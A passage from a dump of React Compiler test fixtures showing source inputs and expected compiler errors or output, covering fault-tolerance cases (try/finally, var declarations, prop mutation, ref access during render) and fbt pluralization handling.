    "content": "// @enableResetCacheOnSourceFileChanges\nimport {useMemo, useState} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  const [state, setState] = useState(0);\n  const doubled = useMemo(() => [state * 2], [state]);\n  return <ValidateMemoization inputs={[state]} output={doubled} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-mutation-of-props.expect.md",
    "content": "\n## Input\n\n```javascript\n/**\n * Fault tolerance test: two independent errors should both be reported.\n *\n * Error 1 (BuildHIR): `try/finally` is not supported\n * Error 2 (InferMutationAliasingEffects): Mutation of frozen props\n */\nfunction Component(props) {\n  // Error: try/finally (Todo from BuildHIR)\n  try {\n    doWork();\n  } finally {\n    doCleanup();\n  }\n\n  // Error: mutating frozen props\n  props.value = 1;\n\n  return <div>{props.value}</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nTodo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause\n\nerror.try-finally-and-mutation-of-props.ts:9:2\n   7 | function Component(props) {\n   8 |   // Error: try/finally (Todo from BuildHIR)\n>  9 |   try {\n     |   ^^^^^\n> 10 |     doWork();\n     | ^^^^^^^^^^^^^\n> 11 |   } finally {\n     | ^^^^^^^^^^^^^\n> 12 |     doCleanup();\n     | ^^^^^^^^^^^^^\n> 13 |   }\n     | ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause\n  14 |\n  15 |   // Error: mutating frozen props\n  16 |   props.value = 1;\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.try-finally-and-mutation-of-props.ts:16:2\n  14 |\n  15 |   // Error: mutating frozen props\n> 16 |   props.value = 1;\n     |   ^^^^^ value cannot be modified\n  17 |\n  18 |   return <div>{props.value}</div>;\n  19 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-mutation-of-props.js",
    "content": "/**\n * Fault tolerance test: two independent errors should both be reported.\n *\n * Error 1 (BuildHIR): `try/finally` is not supported\n * Error 2 (InferMutationAliasingEffects): Mutation of frozen props\n */\nfunction Component(props) {\n  // Error: try/finally (Todo from BuildHIR)\n  try {\n    doWork();\n  } finally {\n    doCleanup();\n  }\n\n  // Error: mutating frozen props\n  props.value = 1;\n\n  return <div>{props.value}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-ref-access.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\n/**\n * Fault tolerance test: two independent errors should both be reported.\n *\n * Error 1 (BuildHIR): `try/finally` is not supported\n * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render\n */\nfunction Component() {\n  const ref = useRef(null);\n\n  // Error: try/finally (Todo from BuildHIR)\n  try {\n    doSomething();\n  } finally {\n    cleanup();\n  }\n\n  // Error: reading ref during render\n  const value = ref.current;\n\n  return <div>{value}</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nTodo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause\n\nerror.try-finally-and-ref-access.ts:12:2\n  10 |\n  11 |   // Error: try/finally (Todo from BuildHIR)\n> 12 |   try {\n     |   ^^^^^\n> 13 |     doSomething();\n     | ^^^^^^^^^^^^^^^^^^\n> 14 |   } finally {\n     | ^^^^^^^^^^^^^^^^^^\n> 15 |     cleanup();\n     | ^^^^^^^^^^^^^^^^^^\n> 16 |   }\n     | ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause\n  17 |\n  18 |   // Error: reading ref during render\n  19 |   const value = ref.current;\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.try-finally-and-ref-access.ts:19:16\n  17 |\n  18 |   // Error: reading ref during render\n> 19 |   const value = ref.current;\n     |                 ^^^^^^^^^^^ Cannot access ref value during render\n  20 |\n  21 |   return <div>{value}</div>;\n  22 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-ref-access.js",
    "content": "// @validateRefAccessDuringRender\n/**\n * Fault tolerance test: two independent errors should both be reported.\n *\n * Error 1 (BuildHIR): `try/finally` is not supported\n * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render\n */\nfunction Component() {\n  const ref = useRef(null);\n\n  // Error: try/finally (Todo from BuildHIR)\n  try {\n    doSomething();\n  } finally {\n    cleanup();\n  }\n\n  // Error: reading ref during render\n  const value = ref.current;\n\n  return <div>{value}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-ref-access-and-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\n/**\n * Fault tolerance test: three independent errors should all be reported.\n *\n * Error 1 (BuildHIR): `try/finally` is not supported\n * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render\n * Error 3 (InferMutationAliasingEffects): Mutation of frozen props\n */\nfunction Component(props) {\n  const ref = useRef(null);\n\n  // Error: try/finally (Todo from BuildHIR)\n  try {\n    doWork();\n  } finally {\n    cleanup();\n  }\n\n  // Error: reading ref during render\n  const value = ref.current;\n\n  // Error: mutating frozen props\n  props.items = [];\n\n  return <div>{value}</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 3 errors:\n\nTodo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause\n\nerror.try-finally-ref-access-and-mutation.ts:13:2\n  11 |\n  12 |   // Error: try/finally (Todo from BuildHIR)\n> 13 |   try {\n     |   ^^^^^\n> 14 |     doWork();\n     | ^^^^^^^^^^^^^\n> 15 |   } finally {\n     | ^^^^^^^^^^^^^\n> 16 |     cleanup();\n     | ^^^^^^^^^^^^^\n> 17 |   }\n     | ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause\n  18 |\n  19 |   // Error: reading ref during render\n  20 |   const value = ref.current;\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.try-finally-ref-access-and-mutation.ts:23:2\n  21 |\n  22 |   // Error: mutating frozen props\n> 23 |   props.items = [];\n     |   ^^^^^ value cannot be modified\n  24 |\n  25 |   return <div>{value}</div>;\n  26 | }\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.try-finally-ref-access-and-mutation.ts:20:16\n  18 |\n  19 |   // Error: reading ref during render\n> 20 |   const value = ref.current;\n     |                 ^^^^^^^^^^^ Cannot access ref value during render\n  21 |\n  22 |   // Error: mutating frozen props\n  23 |   props.items = [];\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-ref-access-and-mutation.js",
    "content": "// @validateRefAccessDuringRender\n/**\n * Fault tolerance test: three independent errors should all be reported.\n *\n * Error 1 (BuildHIR): `try/finally` is not supported\n * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render\n * Error 3 (InferMutationAliasingEffects): Mutation of frozen props\n */\nfunction Component(props) {\n  const ref = useRef(null);\n\n  // Error: try/finally (Todo from BuildHIR)\n  try {\n    doWork();\n  } finally {\n    cleanup();\n  }\n\n  // Error: reading ref during render\n  const value = ref.current;\n\n  // Error: mutating frozen props\n  props.items = [];\n\n  return <div>{value}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-mutation-of-props.expect.md",
    "content": "\n## Input\n\n```javascript\n/**\n * Fault tolerance test: two independent errors should both be reported.\n *\n * Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)\n * Error 2 (InferMutationAliasingEffects): Mutation of frozen props\n */\nfunction Component(props) {\n  // Error: var declaration (Todo from BuildHIR)\n  var items = props.items;\n\n  // Error: mutating frozen props (detected during inference)\n  props.items = [];\n\n  return <div>{items.length}</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nTodo: (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration\n\nerror.var-declaration-and-mutation-of-props.ts:9:2\n   7 | function Component(props) {\n   8 |   // Error: var declaration (Todo from BuildHIR)\n>  9 |   var items = props.items;\n     |   ^^^^^^^^^^^^^^^^^^^^^^^^ (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration\n  10 |\n  11 |   // Error: mutating frozen props (detected during inference)\n  12 |   props.items = [];\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.var-declaration-and-mutation-of-props.ts:12:2\n  10 |\n  11 |   // Error: mutating frozen props (detected during inference)\n> 12 |   props.items = [];\n     |   ^^^^^ value cannot be modified\n  13 |\n  14 |   return <div>{items.length}</div>;\n  15 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-mutation-of-props.js",
    "content": "/**\n * Fault tolerance test: two independent errors should both be reported.\n *\n * Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)\n * Error 2 (InferMutationAliasingEffects): Mutation of frozen props\n */\nfunction Component(props) {\n  // Error: var declaration (Todo from BuildHIR)\n  var items = props.items;\n\n  // Error: mutating frozen props (detected during inference)\n  props.items = [];\n\n  return <div>{items.length}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-ref-access.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\n/**\n * Fault tolerance test: two independent errors should both be reported.\n *\n * Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)\n * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render\n */\nfunction Component() {\n  const ref = useRef(null);\n\n  // Error: var declaration (Todo from BuildHIR)\n  var items = [1, 2, 3];\n\n  // Error: reading ref during render\n  const value = ref.current;\n\n  return (\n    <div>\n      {value}\n      {items.length}\n    </div>\n  );\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nTodo: (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration\n\nerror.var-declaration-and-ref-access.ts:12:2\n  10 |\n  11 |   // Error: var declaration (Todo from BuildHIR)\n> 12 |   var items = [1, 2, 3];\n     |   ^^^^^^^^^^^^^^^^^^^^^^ (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration\n  13 |\n  14 |   // Error: reading ref during render\n  15 |   const value = ref.current;\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.var-declaration-and-ref-access.ts:15:16\n  13 |\n  14 |   // Error: reading ref during render\n> 15 |   const value = ref.current;\n     |                 ^^^^^^^^^^^ Cannot access ref value during render\n  16 |\n  17 |   return (\n  18 |     <div>\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-ref-access.js",
    "content": "// @validateRefAccessDuringRender\n/**\n * Fault tolerance test: two independent errors should both be reported.\n *\n * Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)\n * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render\n */\nfunction Component() {\n  const ref = useRef(null);\n\n  // Error: var declaration (Todo from BuildHIR)\n  var items = [1, 2, 3];\n\n  // Error: reading ref during render\n  const value = ref.current;\n\n  return (\n    <div>\n      {value}\n      {items.length}\n    </div>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-function-calls.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nimport fbt from 'fbt';\n\n/**\n * Similar to error.todo-multiple-fbt-plural\n *\n * Evaluator error:\n *   Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) <div>1 apple and 2 bananas</div>\n *   Forget:\n *   (kind: ok) <div>1 apples and 2 bananas</div>\n */\n\nfunction useFoo({apples, bananas}) {\n  return fbt(\n    `${fbt.param('number of apples', apples)} ` +\n      fbt.plural('apple', apples) +\n      ` and ${fbt.param('number of bananas', bananas)} ` +\n      fbt.plural('banana', bananas),\n    'TestDescription',\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{apples: 1, bananas: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false\nimport fbt from \"fbt\";\n\n/**\n * Similar to error.todo-multiple-fbt-plural\n *\n * Evaluator error:\n *   Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) <div>1 apple and 2 bananas</div>\n *   Forget:\n *   (kind: ok) <div>1 apples and 2 bananas</div>\n */\n\nfunction useFoo(t0) {\n  const $ = _c(3);\n  const { apples, bananas } = t0;\n  let t1;\n  if ($[0] !== apples || $[1] !== bananas) {\n    t1 = fbt._(\n      {\n        \"*\": {\n          \"*\": \"{number of apples} apples and {number of bananas} bananas\",\n        },\n        _1: { _1: \"{number of apples} apple and {number of bananas} banana\" },\n      },\n      [\n        fbt._plural(apples),\n        fbt._plural(bananas),\n        fbt._param(\"number of apples\", apples),\n        fbt._param(\"number of bananas\", bananas),\n      ],\n      { hk: \"3vKunl\" },\n    );\n    $[0] = apples;\n    $[1] = bananas;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ apples: 1, bananas: 2 }],\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-function-calls.ts",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false\nimport fbt from 'fbt';\n\n/**\n * Similar to error.todo-multiple-fbt-plural\n *\n * Evaluator error:\n *   Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) <div>1 apple and 2 bananas</div>\n *   Forget:\n *   (kind: ok) <div>1 apples and 2 bananas</div>\n */\n\nfunction useFoo({apples, bananas}) {\n  return fbt(\n    `${fbt.param('number of apples', apples)} ` +\n      fbt.plural('apple', apples) +\n      ` and ${fbt.param('number of bananas', bananas)} ` +\n      fbt.plural('banana', bananas),\n    'TestDescription',\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{apples: 1, bananas: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-mixed-call-tag.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\n/**\n * Similar to error.todo-multiple-fbt-plural, but note that we must\n * count fbt plurals across both <fbt:plural /> namespaced jsx tags\n * and fbt.plural(...) call expressions.\n *\n * Evaluator error:\n *   Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) <div>1 apple and 2 bananas</div>\n *   Forget:\n *   (kind: ok) <div>1 apples and 2 bananas</div>\n */\nfunction useFoo({apples, bananas}) {\n  return (\n    <div>\n      <fbt desc=\"Test Description\">\n        {fbt.param('number of apples', apples)}\n        {'  '}\n        {fbt.plural('apple', apples)} and\n        {'  '}\n        <fbt:plural name={'number of bananas'} count={bananas} showCount=\"yes\">\n          banana\n        </fbt:plural>\n      </fbt>\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{apples: 1, bananas: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\n/**\n * Similar to error.todo-multiple-fbt-plural, but note that we must\n * count fbt plurals across both <fbt:plural /> namespaced jsx tags\n * and fbt.plural(...) call expressions.\n *\n * Evaluator error:\n *   Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) <div>1 apple and 2 bananas</div>\n *   Forget:\n *   (kind: ok) <div>1 apples and 2 bananas</div>\n */\nfunction useFoo(t0) {\n  const $ = _c(3);\n  const { apples, bananas } = t0;\n  let t1;\n  if ($[0] !== apples || $[1] !== bananas) {\n    t1 = (\n      <div>\n        {fbt._(\n          {\n            \"*\": {\n              \"*\": \"{number of apples} apples and {number of bananas} bananas\",\n            },\n            _1: { _1: \"{number of apples} apple and 1 banana\" },\n          },\n          [\n            fbt._plural(apples),\n            fbt._plural(bananas, \"number of bananas\"),\n            fbt._param(\"number of apples\", apples),\n          ],\n          { hk: \"2xXrUW\" },\n        )}\n      </div>\n    );\n    $[0] = apples;\n    $[1] = bananas;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ apples: 1, bananas: 2 }],\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-mixed-call-tag.tsx",
    "content": "import fbt from 'fbt';\n\n/**\n * Similar to error.todo-multiple-fbt-plural, but note that we must\n * count fbt plurals across both <fbt:plural /> namespaced jsx tags\n * and fbt.plural(...) call expressions.\n *\n * Evaluator error:\n *   Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) <div>1 apple and 2 bananas</div>\n *   Forget:\n *   (kind: ok) <div>1 apples and 2 bananas</div>\n */\nfunction useFoo({apples, bananas}) {\n  return (\n    <div>\n      <fbt desc=\"Test Description\">\n        {fbt.param('number of apples', apples)}\n        {'  '}\n        {fbt.plural('apple', apples)} and\n        {'  '}\n        <fbt:plural name={'number of bananas'} count={bananas} showCount=\"yes\">\n          banana\n        </fbt:plural>\n      </fbt>\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{apples: 1, bananas: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-as-local.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\nimport {identity} from 'shared-runtime';\n\n/**\n * Note that the fbt transform looks for callsites with a `fbt`-named callee.\n * This is incompatible with react-compiler as we rename local variables in\n * HIRBuilder + RenameVariables.\n *\n * See evaluator error:\n *   Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) <div>Hello, Sathya!Goodbye, Sathya!</div>\n *   Forget:\n *   (kind: exception) fbt$0.param is not a function\n */\n\nfunction Foo(props) {\n  const getText1 = fbt =>\n    fbt(\n      `Hello, ${fbt.param('(key) name', identity(props.name))}!`,\n      '(description) Greeting'\n    );\n\n  const getText2 = fbt =>\n    fbt(\n      `Goodbye, ${fbt.param('(key) name', identity(props.name))}!`,\n      '(description) Greeting2'\n    );\n\n  return (\n    <div>\n      {getText1(fbt)}\n      {getText2(fbt)}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{name: 'Sathya'}],\n};\n\n```\n\n\n## Error\n\n```\nFound 4 errors:\n\nTodo: Support local variables named `fbt`\n\nLocal variables named `fbt` may conflict with the fbt plugin and are not yet supported.\n\nerror.todo-fbt-as-local.ts:18:19\n  16 |\n  17 | function Foo(props) {\n> 18 |   const getText1 = fbt =>\n     |                    ^^^ Support local variables named `fbt`\n  19 |     fbt(\n  20 |       `Hello, ${fbt.param('(key) name', identity(props.name))}!`,\n  21 |       '(description) Greeting'\n\nTodo: Support local variables named `fbt`\n\nLocal variables named `fbt` may conflict with the fbt plugin and are not yet supported.\n\nerror.todo-fbt-as-local.ts:18:19\n  16 |\n  17 | function Foo(props) {\n> 18 |   const getText1 = fbt =>\n     |                    ^^^ Support local variables named `fbt`\n  19 |     fbt(\n  20 |       `Hello, ${fbt.param('(key) name', identity(props.name))}!`,\n  21 |       '(description) Greeting'\n\nTodo: Support local variables named `fbt`\n\nLocal variables named `fbt` may conflict with the fbt plugin and are not yet supported.\n\nerror.todo-fbt-as-local.ts:18:19\n  16 |\n  17 | function Foo(props) {\n> 18 |   const getText1 = fbt =>\n     |                    ^^^ Support local variables named `fbt`\n  19 |     fbt(\n  20 |       `Hello, ${fbt.param('(key) name', identity(props.name))}!`,\n  21 |       '(description) Greeting'\n\nTodo: Support local variables named `fbt`\n\nLocal variables named `fbt` may conflict with the fbt plugin and are not yet supported.\n\nerror.todo-fbt-as-local.ts:24:19\n  22 |     );\n  23 |\n> 24 |   const getText2 = fbt =>\n     |                    ^^^ Support local variables named `fbt`\n  25 |     fbt(\n  26 |       `Goodbye, ${fbt.param('(key) name', identity(props.name))}!`,\n  27 |       '(description) Greeting2'\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-as-local.js",
    "content": "import fbt from 'fbt';\nimport {identity} from 'shared-runtime';\n\n/**\n * Note that the fbt transform looks for callsites with a `fbt`-named callee.\n * This is incompatible with react-compiler as we rename local variables in\n * HIRBuilder + RenameVariables.\n *\n * See evaluator error:\n *   Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) <div>Hello, Sathya!Goodbye, Sathya!</div>\n *   Forget:\n *   (kind: exception) fbt$0.param is not a function\n */\n\nfunction Foo(props) {\n  const getText1 = fbt =>\n    fbt(\n      `Hello, ${fbt.param('(key) name', identity(props.name))}!`,\n      '(description) Greeting'\n    );\n\n  const getText2 = fbt =>\n    fbt(\n      `Goodbye, ${fbt.param('(key) name', identity(props.name))}!`,\n      '(description) Greeting2'\n    );\n\n  return (\n    <div>\n      {getText1(fbt)}\n      {getText2(fbt)}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{name: 'Sathya'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-unknown-enum-value.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nfunction Component({a, b}) {\n  return (\n    <fbt desc=\"Description\">\n      <fbt:enum enum-range={['avalue1', 'avalue1']} value={a} />{' '}\n      <fbt:enum enum-range={['bvalue1', 'bvalue2']} value={b} />\n    </fbt>\n  );\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: Support duplicate fbt tags\n\nSupport `<fbt>` tags with multiple `<fbt:enum>` values.\n\nerror.todo-fbt-unknown-enum-value.ts:6:7\n  4 |   return (\n  5 |     <fbt desc=\"Description\">\n> 6 |       <fbt:enum enum-range={['avalue1', 'avalue1']} value={a} />{' '}\n    |        ^^^^^^^^ Multiple `<fbt:enum>` tags found\n  7 |       <fbt:enum enum-range={['bvalue1', 'bvalue2']} value={b} />\n  8 |     </fbt>\n  9 |   );\n\nerror.todo-fbt-unknown-enum-value.ts:7:7\n   5 |     <fbt desc=\"Description\">\n   6 |       <fbt:enum enum-range={['avalue1', 'avalue1']} value={a} />{' '}\n>  7 |       <fbt:enum enum-range={['bvalue1', 'bvalue2']} value={b} />\n     |        ^^^^^^^^ Multiple `<fbt:enum>` tags found\n   8 |     </fbt>\n   9 |   );\n  10 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-unknown-enum-value.js",
    "content": "import fbt from 'fbt';\n\nfunction Component({a, b}) {\n  return (\n    <fbt desc=\"Description\">\n      <fbt:enum enum-range={['avalue1', 'avalue1']} value={a} />{' '}\n      <fbt:enum enum-range={['bvalue1', 'bvalue2']} value={b} />\n    </fbt>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-locally-require-fbt.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const fbt = require('fbt');\n\n  return <fbt desc=\"Description\">{'Text'}</fbt>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: <fbt> tags should be module-level imports\n\nerror.todo-locally-require-fbt.ts:4:10\n  2 |   const fbt = require('fbt');\n  3 |\n> 4 |   return <fbt desc=\"Description\">{'Text'}</fbt>;\n    |           ^^^ <fbt> tags should be module-level imports\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-locally-require-fbt.js",
    "content": "function Component(props) {\n  const fbt = require('fbt');\n\n  return <fbt desc=\"Description\">{'Text'}</fbt>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-multiple-fbt-plural.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\n/**\n * Forget + fbt inconsistency. Evaluator errors with the following\n *   Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) 1 rewrite to Rust · 2 months traveling\n *   Forget:\n *   (kind: ok) 1 rewrites to Rust · 2 months traveling\n *\n * The root issue here is that fbt:plural/enum/pronoun read `.start` and `.end` from\n * babel nodes to slice into source strings for some complex dedupe logic\n * (see [_getStringVariationCombinations](https://github.com/facebook/fbt/blob/main/packages/babel-plugin-fbt/src/JSFbtBuilder.js#L297))\n *\n *\n * Since Forget does not add `.start` and `.end` for babel nodes it synthesizes,\n * [getRawSource](https://github.com/facebook/fbt/blob/main/packages/babel-plugin-fbt/src/FbtUtil.js#L666-L673)\n * simply returns the whole source code string. As a result, all fbt nodes dedupe together\n * and _getStringVariationCombinations ends up early exiting (before adding valid candidate values).\n *\n *\n *\n * For fbt:plural tags specifically, the `count` node require that a `.start/.end`\n * (see [code in FbtPluralNode](https://github.com/facebook/fbt/blob/main/packages/babel-plugin-fbt/src/fbt-nodes/FbtPluralNode.js#L87-L90))\n */\nfunction Foo({rewrites, months}) {\n  return (\n    <fbt desc=\"Test fbt description\">\n      <fbt:plural count={rewrites} name=\"number of rewrites\" showCount=\"yes\">\n        rewrite\n      </fbt:plural>\n      to Rust ·\n      <fbt:plural count={months} name=\"number of months\" showCount=\"yes\">\n        month\n      </fbt:plural>\n      traveling\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{rewrites: 1, months: 2}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: Support duplicate fbt tags\n\nSupport `<fbt>` tags with multiple `<fbt:plural>` values.\n\nerror.todo-multiple-fbt-plural.ts:29:7\n  27 |   return (\n  28 |     <fbt desc=\"Test fbt description\">\n> 29 |       <fbt:plural count={rewrites} name=\"number of rewrites\" showCount=\"yes\">\n     |        ^^^^^^^^^^ Multiple `<fbt:plural>` tags found\n  30 |         rewrite\n  31 |       </fbt:plural>\n  32 |       to Rust ·\n\nerror.todo-multiple-fbt-plural.ts:33:7\n  31 |       </fbt:plural>\n  32 |       to Rust ·\n> 33 |       <fbt:plural count={months} name=\"number of months\" showCount=\"yes\">\n     |        ^^^^^^^^^^ Multiple `<fbt:plural>` tags found\n  34 |         month\n  35 |       </fbt:plural>\n  36 |       traveling\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-multiple-fbt-plural.tsx",
    "content": "import fbt from 'fbt';\n\n/**\n * Forget + fbt inconsistency. Evaluator errors with the following\n *   Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) 1 rewrite to Rust · 2 months traveling\n *   Forget:\n *   (kind: ok) 1 rewrites to Rust · 2 months traveling\n *\n * The root issue here is that fbt:plural/enum/pronoun read `.start` and `.end` from\n * babel nodes to slice into source strings for some complex dedupe logic\n * (see [_getStringVariationCombinations](https://github.com/facebook/fbt/blob/main/packages/babel-plugin-fbt/src/JSFbtBuilder.js#L297))\n *\n *\n * Since Forget does not add `.start` and `.end` for babel nodes it synthesizes,\n * [getRawSource](https://github.com/facebook/fbt/blob/main/packages/babel-plugin-fbt/src/FbtUtil.js#L666-L673)\n * simply returns the whole source code string. As a result, all fbt nodes dedupe together\n * and _getStringVariationCombinations ends up early exiting (before adding valid candidate values).\n *\n *\n *\n * For fbt:plural tags specifically, the `count` node require that a `.start/.end`\n * (see [code in FbtPluralNode](https://github.com/facebook/fbt/blob/main/packages/babel-plugin-fbt/src/fbt-nodes/FbtPluralNode.js#L87-L90))\n */\nfunction Foo({rewrites, months}) {\n  return (\n    <fbt desc=\"Test fbt description\">\n      <fbt:plural count={rewrites} name=\"number of rewrites\" showCount=\"yes\">\n        rewrite\n      </fbt:plural>\n      to Rust ·\n      <fbt:plural count={months} name=\"number of months\" showCount=\"yes\">\n        month\n      </fbt:plural>\n      traveling\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{rewrites: 1, months: 2}],\n};\n"
  },
  {
